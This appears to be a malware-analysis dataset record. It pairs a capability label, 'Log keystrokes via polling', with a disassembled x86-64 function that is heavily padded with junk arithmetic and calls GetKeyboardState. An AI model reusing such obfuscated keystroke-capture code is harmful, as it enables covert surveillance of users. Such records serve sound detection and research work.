Function at 0x2f8aaf897
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2f8ab419c]
or ax, 0xfd85
mov word [0x2f8ab4192], ax
mov eax, dword [str.k_f]
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
shl eax, 2
add eax, edx
mov byte [0x2f8ab4191], al
movzx eax, word [0x2f8ab4192]
sub ax, 0x5b26
mov word [0x2f8ab4198], ax
mov dword [rbp - 4], 0x328197f6
mov eax, dword [str.k_f]
and eax, 0xbbdf3bc1
mov dword [0x2f8ab419c], eax
movzx eax, word [0x2f8ab41a0]
movzx eax, ax
and eax, 0x7ff9cc96
mov dword [str.k_f], eax
movzx eax, word [0x2f8ab41a0]
or eax, 0x4f
mov byte [0x2f8ab4191], al
movzx eax, byte [0x2f8ab4191]
sub eax, 0x10
mov byte [0x2f8ab4190], al
movzx eax, word [0x2f8ab4198]
xor eax, 0xffffff84
mov word [0x2f8ab4198], ax
mov eax, dword [0x2f8ab419c]
xor ax, 0xc666
mov word [0x2f8ab4198], ax
movzx eax, byte [0x2f8ab4190]
movzx eax, al
imul ax, ax, 0xf9d8
mov word [0x2f8ab4192], ax
mov rax, qword [0x2f8ab5510]
movzx edx, byte [rax]
mov rax, qword [0x2f8ab5520]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp - 5], al
shl dword [rbp - 4], 1
mov rax, qword [0x2f8ab5520]
movzx edx, byte [rax]
mov rax, qword [0x2f8ab5510]
mov byte [rax], dl
shl dword [rbp - 4], 1
mov rax, qword [0x2f8ab5530]
movzx edx, byte [rax]
mov rax, qword [0x2f8ab5520]
mov byte [rax], dl
shl dword [rbp - 4], 1
mov rax, qword [0x2f8ab5530]
movzx eax, byte [rax]
add byte [rbp - 5], al
shl dword [rbp - 4], 1
mov eax, dword [0x2f8ab419c]
imul ax, ax, 0xf169
mov word [0x2f8ab4192], ax
movzx eax, byte [0x2f8ab4191]
movzx eax, al
add eax, 0x1ca89650
mov dword [0x2f8ab419c], eax
movzx eax, byte [0x2f8ab4191]
movzx eax, al
and ax, 0xbdae
mov word [0x2f8ab4198], ax
mov eax, dword [0x2f8ab419c]
or eax, 0x37f0a74c
mov dword [0x2f8ab419c], eax
movzx eax, word [0x2f8ab4198]
and ax, 0xdca4
mov word [0x2f8ab41a0], ax
movzx eax, byte [0x2f8ab4190]
movzx eax, al
imul ax, ax, 0xe9b1
mov word [0x2f8ab4198], ax
movzx eax, word [0x2f8ab41a0]
sub ax, 0x29cd
mov word [0x2f8ab41a0], ax
movzx eax, byte [rbp - 5]
test al, al
jns 0x2f8aafafa
mov eax, dword [0x2f8ab419c]
add eax, 0x56
mov byte [0x2f8ab4191], al
mov eax, dword [0x2f8ab419c]
sub eax, 0x71
mov byte [0x2f8ab4190], al
movzx eax, word [0x2f8ab41a0]
add ax, 0x77be
mov word [0x2f8ab4192], ax
shl dword [rbp - 4], 1
shl byte [rbp - 5], 1
shl dword [rbp - 4], 1
movzx eax, byte [0x2f8ab4191]
movzx eax, al
sub eax, 0x418aa4ae
mov dword [0x2f8ab419c], eax
movzx eax, word [0x2f8ab4192]
add ax, 0x387
mov word [0x2f8ab4192], ax
movzx eax, byte [0x2f8ab4190]
movzx eax, al
add ax, 0x2f4d
mov word [0x2f8ab4192], ax
mov eax, dword [str.k_f]
or eax, 0x73
mov byte [0x2f8ab4191], al
movzx eax, word [0x2f8ab4192]
imul ax, ax, 0x22aa
mov word [0x2f8ab41a0], ax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
or byte [rbp - 5], 1
shl dword [rbp - 4], 1
jmp 0x2f8aafb6b
movzx eax, word [0x2f8ab4192]
and ax, 0xb443
mov word [0x2f8ab4198], ax
movzx eax, word [0x2f8ab4198]
imul ax, ax, 0x6f7b
mov word [0x2f8ab4192], ax
movzx eax, word [0x2f8ab41a0]
or eax, 0x2c
mov byte [0x2f8ab4191], al
movzx eax, word [0x2f8ab4192]
movzx eax, ax
xor eax, 0x548a97f5
mov dword [0x2f8ab419c], eax
mov eax, dword [0x2f8ab419c]
xor eax, 0x97334849
mov dword [0x2f8ab419c], eax
movzx eax, byte [0x2f8ab4190]
xor eax, 0x7b
mov byte [0x2f8ab4191], al
shl dword [rbp - 4], 1
shl byte [rbp - 5], 1
mov rax, qword [0x2f8ab5530]
movzx edx, byte [rbp - 5]
mov byte [rax], dl
shl dword [rbp - 4], 1
movzx eax, word [0x2f8ab4192]
and ax, 0x4fe7
mov word [0x2f8ab41a0], ax
mov eax, dword [0x2f8ab419c]
or ax, 0xe50a
mov word [0x2f8ab4198], ax
movzx eax, word [0x2f8ab4198]
add eax, 0x77
mov byte [0x2f8ab4190], al
movzx eax, byte [rbp - 5]
add rsp, 0x30
pop rbp
ret